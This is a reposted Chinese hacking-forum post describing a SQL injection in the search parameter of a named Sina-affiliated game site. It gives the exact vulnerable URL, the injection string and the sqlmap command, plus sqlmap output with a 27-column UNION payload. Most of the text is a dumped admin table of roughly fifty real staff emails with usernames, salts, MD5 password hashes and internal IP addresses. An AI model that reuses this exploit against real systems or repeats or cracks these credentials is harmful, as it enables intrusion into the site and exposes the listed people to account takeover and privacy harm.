新浪某游戏网SQL注入下载

发布时间：2014-07-29 阅读：1788 来源：黑吧安全网

新浪某游戏网SQL注入

新浪某游戏网SQL注入导致游戏网会被沦陷。中50几位管理员的密码已经暴露出来。查了下是新浪旗下的网站

搜索型的注入。%号都木有。

注入点在这里搜索的这个地方

sqlmap.py -u "http://www.twgame.com.cn/p/?k='%20OR%20'ns'='ns

" --current-db

sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org

Parameter: k

Type: UNION query

Title: MySQL UNION query (NULL) - 27 columns

Payload: k=' OR 'ns'='ns' UNION ALL SELECT CONCAT(0x3a7a74753a,0x724b4b

d55776c6f,0x3a746e663a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N

ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

---

[00:05:47] [INFO] the back-end DBMS is MySQL

web application technology: Apache

back-end DBMS: MySQL 5

[00:05:47] [INFO] fetching current database

current database: 'admin_games'

26812 |

| 1 | 4 | jihua@staff.sina.com.cn | CMQHnA | jihua | ???

| 8c149031f6ad00da33051a0320d73404 | 10.209.79.219 | 1400032199 | 13753

26812 |

| 1 | 7 | wangze@staff.sina.com.cn | TgxMB1 | wangze | ??

| bb79ccbb18d998beb295dbf57e8e2bae | 10.208.11.219 | 1402285405 | 13746

54715 |

| 1 | 7 | wangze@staff.sina.com.cn | TgxMB1 | wangze | ??

| bb79ccbb18d998beb295dbf57e8e2bae | 10.208.11.219 | 1402285405 | 13746

54715 |

| 3 | 8 | xufeng3@staff.sina.com.cn | M8XvhS | xufeng3 | xuf

eng | c9ccdd77bf360384dfefa90cbc226eb6 | 10.208.11.221 | 1402292362 | 13557

13971 |

| 3 | 8 | xufeng3@staff.sina.com.cn | M8XvhS | xufeng3 | xuf

eng | c9ccdd77bf360384dfefa90cbc226eb6 | 10.208.11.221 | 1402292362 | 13557

13971 |

| 4 | 9 | xufeng3@staff.sina.com.cn | Wjz7ZL | yaoxufeng | <bl

ank> | 9d5acb85fcfdbd2cc154da922909d5db | 10.208.11.175 | 1402562540 | 13560

63194 |

| 4 | 9 | xufeng3@staff.sina.com.cn | Wjz7ZL | yaoxufeng | <bl

ank> | 9d5acb85fcfdbd2cc154da922909d5db | 10.208.11.175 | 1402562540 | 13560

63194 |

| 2 | 13 | yifan5@staff.sina.com.cn | US3CyP | yifan5 | ???

| fc267792cd6172ad2ff5f79f65e04d89 | 10.208.11.40 | 1394440405 | 13566

06388 |

| 2 | 13 | yifan5@staff.sina.com.cn | US3CyP | yifan5 | ???

| fc267792cd6172ad2ff5f79f65e04d89 | 10.208.11.40 | 1394440405 | 13566

06388 |

| 16 | 15 | lingyang@staff.sina.com.cn | DS2RKJ | lingyang | ???

| caeae3ec585ed9a88fd061a5c3815efd | 10.208.1.119 | 1402559502 | 13778

42337 |

| 16 | 15 | lingyang@staff.sina.com.cn | DS2RKJ | lingyang | ???

| caeae3ec585ed9a88fd061a5c3815efd | 10.208.1.119 | 1402559502 | 13778

42337 |

| 5 | 17 | shixiang@staff.sina.com.cn | JCpKLb | dota2editer | ???

? | a73e5aa0c12ce117baa506dfbc76c37f | 10.208.11.130 | 1402020244 | 13572

70410 |

| 5 | 17 | shixiang@staff.sina.com.cn | JCpKLb | dota2editer | ???

? | a73e5aa0c12ce117baa506dfbc76c37f | 10.208.11.130 | 1402020244 | 13572

70410 |

| 16 | 18 | guotao1@staff.sina.com.cn | s4tqq8 | guotao1 | ???

| b18bd24f990c889e48d30ba34af98836 | 10.208.1.253 | 1377842396 | 13778

42345 |

| 16 | 18 | guotao1@staff.sina.com.cn | s4tqq8 | guotao1 | ???

| b18bd24f990c889e48d30ba34af98836 | 10.208.1.253 | 1377842396 | 13778

42345 |

| 6 | 19 | shenliang1@staff.sina.com.cn | h2mqIm | shenliang1 | <bl

ank> | 59189522cd998cb9aa80fa9bc546635d | 10.208.11.48 | 1402473016 | 13826

03718 |

| 6 | 19 | shenliang1@staff.sina.com.cn | h2mqIm | shenliang1 | <bl

ank> | 59189522cd998cb9aa80fa9bc546635d | 10.208.11.48 | 1402473016 | 13826

03718 |

| 8 | 21 | baiqing@staff.sina.com.cn | wkrT3P | weitan | <bl

ank> | 83de88dec107ca55b3e1fa506cb0c37d | 10.208.11.35 | 1402556760 | 13698

00411 |

| 8 | 21 | baiqing@staff.sina.com.cn | wkrT3P | weitan | <bl

ank> | 83de88dec107ca55b3e1fa506cb0c37d | 10.208.11.35 | 1402556760 | 13698

00411 |

| 2 | 22 | shenshuai1@staff.sina.com.cn | kJJzhI | shenshuai1 | ??

| ad350e692086fae099000fd4c60a56dd | 10.208.7.207 | 1402023261 | 13702

40624 |

| 2 | 22 | shenshuai1@staff.sina.com.cn | kJJzhI | shenshuai1 | ??

| ad350e692086fae099000fd4c60a56dd | 10.208.7.207 | 1402023261 | 13702

40624 |

| 2 | 23 | yongsheng5@staff.sina.com.cn | pKa4ht | yongsheng | ???

| 750b7fad75328a67533659e3ee66efe9 | 10.208.11.76 | 1402536233 | 13728

50454 |

| 2 | 23 | yongsheng5@staff.sina.com.cn | pKa4ht | yongsheng | ???

| 750b7fad75328a67533659e3ee66efe9 | 10.208.11.76 | 1402536233 | 13728

50454 |

| 9 | 24 | shaohua@staff.sina.com.cn | cNgSVl | shaohua | <bl

ank> | 07159fe6edad0a8a8de0a0793e88ed2a | 10.208.11.134 | 1392881280 | 13736

16232 |

| 9 | 24 | shaohua@staff.sina.com.cn | cNgSVl | shaohua | <bl

ank> | 07159fe6edad0a8a8de0a0793e88ed2a | 10.208.11.134 | 1392881280 | 13736

16232 |

| 1 | 25 | liugeng@staff.sina.com.cn | fMpm6e | liugeng | ??

| 5f847f6b5e95634d3cb5735396a7b1cf | 10.208.1.156 | 1402565640 | 13744

80408 |

| 1 | 25 | liugeng@staff.sina.com.cn | fMpm6e | liugeng | ??

| 5f847f6b5e95634d3cb5735396a7b1cf | 10.208.1.156 | 1402565640 | 13744

80408 |

| 10 | 26 | kaixian1@staff.sina.com.cn | wBeHML | kaixian1 | ???

| 073d138c12b01c0b1dbbddd8f0c2fcb8 | 10.208.7.31 | 1402557849 | 13742

02917 |

| 10 | 26 | kaixian1@staff.sina.com.cn | wBeHML | kaixian1 | ???

| 073d138c12b01c0b1dbbddd8f0c2fcb8 | 10.208.7.31 | 1402557849 | 13742

02917 |

| 11 | 29 | liuchen2@staff.sina.com.cn | si4KCT | liuchen2 | ??

| bd349782161c4df3315acb51f87bd598 | 10.208.11.22 | 1402023528 | 13956

45274 |

| 11 | 29 | liuchen2@staff.sina.com.cn | si4KCT | liuchen2 | ??

| bd349782161c4df3315acb51f87bd598 | 10.208.11.22 | 1402023528 | 13956

45274 |

| 11 | 30 | lingfei1@staff.sina.com.cn | ncsBUU | lingfei1 | ???

| c44a318195f7a36b0f3bcdf9a7dcc983 | 10.208.11.169 | 1402554979 | 13921

93493 |

| 11 | 30 | lingfei1@staff.sina.com.cn | ncsBUU | lingfei1 | ???

| c44a318195f7a36b0f3bcdf9a7dcc983 | 10.208.11.169 | 1402554979 | 13921

93493 |

| 11 | 31 | 937075028@qq.com | btnn3P | chenxiaoxiao | ???

| 6f4c4d971fba0149fd560cfc53a9113d | 10.208.1.160 | 1402481216 | 13744

82008 |

| 11 | 31 | 937075028@qq.com | btnn3P | chenxiaoxiao | ???

| 6f4c4d971fba0149fd560cfc53a9113d | 10.208.1.160 | 1402481216 | 13744

82008 |

| 1 | 34 | mengye@staff.sina.com.cn | MmSgz1 | mengye | ???

| 8944658c5e0827bfcef42fc7c844fc7c | 10.208.1.46 | 1402390584 | 13813

03252 |

| 1 | 34 | mengye@staff.sina.com.cn | MmSgz1 | mengye | ???

| 8944658c5e0827bfcef42fc7c844fc7c | 10.208.1.46 | 1402390584 | 13813

03252 |

| 11 | 35 | yangdi4@staff.sina.com.cn | UuT6QN | yangdi4 | ??

| d3dfd5382b6660606c27af8662d74713 | 10.208.7.32 | 1402559830 | 13744

86017 |

| 11 | 35 | yangdi4@staff.sina.com.cn | UuT6QN | yangdi4 | ??

| d3dfd5382b6660606c27af8662d74713 | 10.208.7.32 | 1402559830 | 13744

86017 |

| 11 | 38 | wenbo7@staff.sina.com.cn | 8LsiMx | wenbo7 | ???

| 28ffd085349b057f344954b683182a8a | 10.208.11.248 | 1402571655 | 13744

82218 |

| 11 | 38 | wenbo7@staff.sina.com.cn | 8LsiMx | wenbo7 | ???

| 28ffd085349b057f344954b683182a8a | 10.208.11.248 | 1402571655 | 13744

82218 |

| 11 | 39 | wangcong2@staff.sina.com.cn | Lg9Vh4 | wangcong2 | ??

| 571f71a81a030850a3ed175f4983fec7 | 10.208.11.246 | 1402396402 | 13752

55060 |

| 11 | 39 | wangcong2@staff.sina.com.cn | Lg9Vh4 | wangcong2 | ??

| 571f71a81a030850a3ed175f4983fec7 | 10.208.11.246 | 1402396402 | 13752

55060 |

| 14 | 41 | zhangshu@staff.sina.com.cn | 1Vyivg | zhangshu | ??

| b2db7045e2af18c00733e834c28a4a12 | 10.208.1.59 | 1394518907 | 13819

03118 |

| 14 | 41 | zhangshu@staff.sina.com.cn | 1Vyivg | zhangshu | ??

| b2db7045e2af18c00733e834c28a4a12 | 10.208.1.59 | 1394518907 | 13819

03118 |

| 11 | 42 | shenshen@staff.sina.com.cn | yuQ6HR | shenshen | ???

| 37026fcde6acf23ec2c89f59ba130e88 | 10.208.11.193 | 1402392035 | 13765

49989 |

| 11 | 42 | shenshen@staff.sina.com.cn | yuQ6HR | shenshen | ???

| 37026fcde6acf23ec2c89f59ba130e88 | 10.208.11.193 | 1402392035 | 13765

49989 |

| 14 | 43 | zhiliang2@staff.sina.com.cn | ix1CdQ | zhiliang | ???

| f8837110cd4f5695faa53470bd26a42e | 10.208.1.55 | 1402471293 | 13831

83817 |

| 14 | 43 | zhiliang2@staff.sina.com.cn | ix1CdQ | zhiliang | ???

| f8837110cd4f5695faa53470bd26a42e | 10.208.1.55 | 1402471293 | 13831

83817 |

| 15 | 45 | hanli2@staff.sina.com.cn | fKrt8K | hanli2 | han

li2 | 09236b1fac10f9637185a139bf2d9087 | 10.208.2.239 | 1377763143 | 13777

62912 |

| 15 | 45 | hanli2@staff.sina.com.cn | fKrt8K | hanli2 | han

li2 | 09236b1fac10f9637185a139bf2d9087 | 10.208.2.239 | 1377763143 | 13777

62912 |

| 17 | 48 | liuqing@staff.sina.com.cn | 5j2BDc | liuqing | ??

| a8013d1af1a7c0c77574e27cf137ab69 | 10.208.1.211 | 1385464591 | 13794

03245 |

| 17 | 48 | liuqing@staff.sina.com.cn | 5j2BDc | liuqing | ??

| a8013d1af1a7c0c77574e27cf137ab69 | 10.208.1.211 | 1385464591 | 13794

03245 |

| 18 | 49 | zhangtao1@staff.sina.com.cn | PCaHWT | zhangtao1 | ??

| 45b8cf3f371fc617e505bf8e006266fe | 10.208.11.220 | 1390730296 | 13832

08905 |

| 18 | 49 | zhangtao1@staff.sina.com.cn | PCaHWT | zhangtao1 | ??

| 45b8cf3f371fc617e505bf8e006266fe | 10.208.11.220 | 1390730296 | 13832

08905 |

| 2 | 50 | haibo8@staff.sina.com.cn | P2JhJZ | haibo8 | ???

| 76e6e0fbdfc84ca413fc6f56c9489fde | 10.208.11.206 | 1402470832 | 13841

58736 |

| 2 | 50 | haibo8@staff.sina.com.cn | P2JhJZ | haibo8 | ???

| 76e6e0fbdfc84ca413fc6f56c9489fde | 10.208.11.206 | 1402470832 | 13841

58736 |

| 1 | 51 | shaoying2@staff.sina.com.cn | 4NAEdi | shaoying2 | ??

| 3ffeb98526a5da808ebe27b396b917a2 | 10.208.1.108 | 1402538754 | 13844

18903 |

| 1 | 51 | shaoying2@staff.sina.com.cn | 4NAEdi | shaoying2 | ??

| 3ffeb98526a5da808ebe27b396b917a2 | 10.208.1.108 | 1402538754 | 13844

18903 |

| 11 | 52 | 2278566730@qq.com | dDiBmH | ??2? | yao

ran | 918c553b9d9777db92870db5aa2209a3 | 10.212.12.29 | 1402295800 | 13879

68002 |

| 11 | 52 | 2278566730@qq.com | dDiBmH | ??2? | yao

ran | 918c553b9d9777db92870db5aa2209a3 | 10.212.12.29 | 1402295800 | 13879

68002 |

| 2 | 53 | yanghong4@staff.sina.com.cn | VuqxZ8 | yanghong4 | ??

| f99ac112088bf5f02e39788a5f2a938a | 10.208.11.102 | 1401936697 | 13886

58367 |

| 2 | 53 | yanghong4@staff.sina.com.cn | VuqxZ8 | yanghong4 | ??

| f99ac112088bf5f02e39788a5f2a938a | 10.208.11.102 | 1401936697 | 13886

58367 |

| 7 | 54 | kaifu@staff.sina.com.cn | 96PXXl | kaifu | kai

fu | 1fada370f459707a3a5f2939b40d925b | 10.208.11.68 | 1402538460 | 13891

69724 |

| 7 | 54 | kaifu@staff.sina.com.cn | 96PXXl | kaifu | kai

fu | 1fada370f459707a3a5f2939b40d925b | 10.208.11.68 | 1402538460 | 13891

69724 |

| 19 | 55 | yifan5@staff.sina.com.cn | iAtVMm | loldb | ???

| 6bc02a02745939791d211fabb8f35852 | 10.208.1.154 | 1402474034 | 13892

57901 |

| 19 | 55 | yifan5@staff.sina.com.cn | iAtVMm | loldb | ???

| 6bc02a02745939791d211fabb8f35852 | 10.208.1.154 | 1402474034 | 13892

57901 |

| 20 | 56 | wuhao3@staff.sina.com.cn | PXHITa | wuhao3 | ??

| 97e0c2b6037e0f2688a980e04c78bd54 | 10.208.11.223 | 1402554074 | 13900

13149 |

| 20 | 56 | wuhao3@staff.sina.com.cn | PXHITa | wuhao3 | ??

| 97e0c2b6037e0f2688a980e04c78bd54 | 10.208.11.223 | 1402554074 | 13900

13149 |

| 21 | 57 | liang6@staff.sina.com.cn | eZVcPE | page | <bl

ank> | d710de195243b32c7b944fd235a19465 | 10.208.11.114 | 1394014991 | 13908

96776 |

| 21 | 57 | liang6@staff.sina.com.cn | eZVcPE | page | <bl

ank> | d710de195243b32c7b944fd235a19465 | 10.208.11.114 | 1394014991 | 13908

96776 |

| 2 | 58 | zhenzhou@staff.sina.com.cn | u3sSDn | zhenzhou | ??

| 4e3a1b60feefbc403d3921d15a106054 | 10.208.11.234 | 1402538277 | 13921

90410 |

| 2 | 58 | zhenzhou@staff.sina.com.cn | u3sSDn | zhenzhou | ??

| 4e3a1b60feefbc403d3921d15a106054 | 10.208.11.234 | 1402538277 | 13921

90410 |

| 14 | 59 | lvshuang@staff.sina.com.cn | bPCU7t | lvshuang | ??

| f7155329fb04be332da84df52509bbcf | 10.208.1.199 | 1399427827 | 13929

68956 |

| 14 | 59 | lvshuang@staff.sina.com.cn | bPCU7t | lvshuang | ??

| f7155329fb04be332da84df52509bbcf | 10.208.1.199 | 1399427827 | 13929

68956 |

| 22 | 60 | guotao1@staff.sina.com.cn | mfT5Yr | wapnews | wap

**** | db5a09f7786084d44393d5a37f8c593a | 10.208.11.164 | 1402570713 | 13935

55372 |

| 22 | 60 | guotao1@staff.sina.com.cn | mfT5Yr | wapnews | wap

**** | db5a09f7786084d44393d5a37f8c593a | 10.208.11.164 | 1402570713 | 13935

55372 |

| 2 | 61 | pengkun1980@sina.com | yzDh7l | pengkun | ??

| d7e4810ab099acec1ec57e6aeda20cb8 | 10.208.8.221 | 1402555282 | 13945

04517 |

| 2 | 61 | pengkun1980@sina.com | yzDh7l | pengkun | ??

| d7e4810ab099acec1ec57e6aeda20cb8 | 10.208.8.221 | 1402555282 | 13945

04517 |

| 11 | 62 | jieyan@staff.sina.com.cn | blIYvy | jieyan | ???

| 41d42f3d7445e386f3547f10c9f5d564 | 10.208.11.63 | 1402556257 | 13965

15925 |

| 11 | 62 | jieyan@staff.sina.com.cn | blIYvy | jieyan | ???

| 41d42f3d7445e386f3547f10c9f5d564 | 10.208.11.63 | 1402556257 | 13965

15925 |

| 11 | 63 | weigang3@staff.sina.com.cn | qjIMxk | weigang3 | ???

| 2d6e31aaa3fd9b06e2686e9c221fa4de | 10.208.7.230 | 1402050866 | 13965

16030 |

| 11 | 63 | weigang3@staff.sina.com.cn | qjIMxk | weigang3 | ???

| 2d6e31aaa3fd9b06e2686e9c221fa4de | 10.208.7.230 | 1402050866 | 13965

16030 |

| 15 | 64 | gameshop@sina.cn | xqtVXW | gameshop | ???

? | 04f21456cff172c0222dffa36dd40f08 | 10.208.11.175 | 1402470105 | 13981

49367 |

| 15 | 64 | gameshop@sina.cn | xqtVXW | gameshop | ???

? | 04f21456cff172c0222dffa36dd40f08 | 10.208.11.175 | 1402470105 | 13981

49367 |

| 14 | 65 | yinli3@staff.sina.com.cn | NuXXM5 | yinli3 | ??

| b2d0898f6262e39eafa087fb473a908f | 10.208.8.224 | 1402476558 | 13994

28235 |

| 14 | 65 | yinli3@staff.sina.com.cn | NuXXM5 | yinli3 | ??

| b2d0898f6262e39eafa087fb473a908f | 10.208.8.224 | 1402476558 | 13994

28235 |

| 14 | 66 | baiqing@staff.sina.com.cn | WPzSkp | baiqing | ???

| bccc95181858f9a1750227fff196ed45 | 10.208.1.234 | 1399534834 | 13994

28265 |

| 14 | 66 | baiqing@staff.sina.com.cn | WPzSkp | baiqing | ???

| bccc95181858f9a1750227fff196ed45 | 10.208.1.234 | 1399534834 | 13994

28265 |

| 3 | 67 | chaojun@staff.sina.com.cn | Cb5PPZ | chaojun | ???

| b8e01716e15cdea6b1390564952f5a13 | 10.208.11.86 | 1401263481 | 14002

25152 |

| 3 | 67 | chaojun@staff.sina.com.cn | Cb5PPZ | chaojun | ???

| b8e01716e15cdea6b1390564952f5a13 | 10.208.11.86 | 1401263481 | 14002

25152 |

| 11 | 68 | zhangbin9@staff.sina.com.cn | XCTVMT | zhangbin9 | ??

| 3e4d9b5b9c18446929993147ca90f465 | 10.208.11.27 | 1402560955 | 14025

60817 |

| 11 | 68 | zhangbin9@staff.sina.com.cn | XCTVMT | zhangbin9 | ??

| 3e4d9b5b9c18446929993147ca90f465 | 10.208.11.27 | 1402560955 | 14025

60817 |

| 11 | 69 | shixi_luxu@staff.sina.com.cn | itIgMv | shixi_luxu | ??

| ed32f5751d0e9687820e0914aa72a689 | 10.208.11.67 | 1402469639 | 14023

88772 |

| 11 | 69 | shixi_luxu@staff.sina.com.cn | itIgMv | shixi_luxu | ??

| ed32f5751d0e9687820e0914aa72a689 | 10.208.11.67 | 1402469639 | 14023

88772 |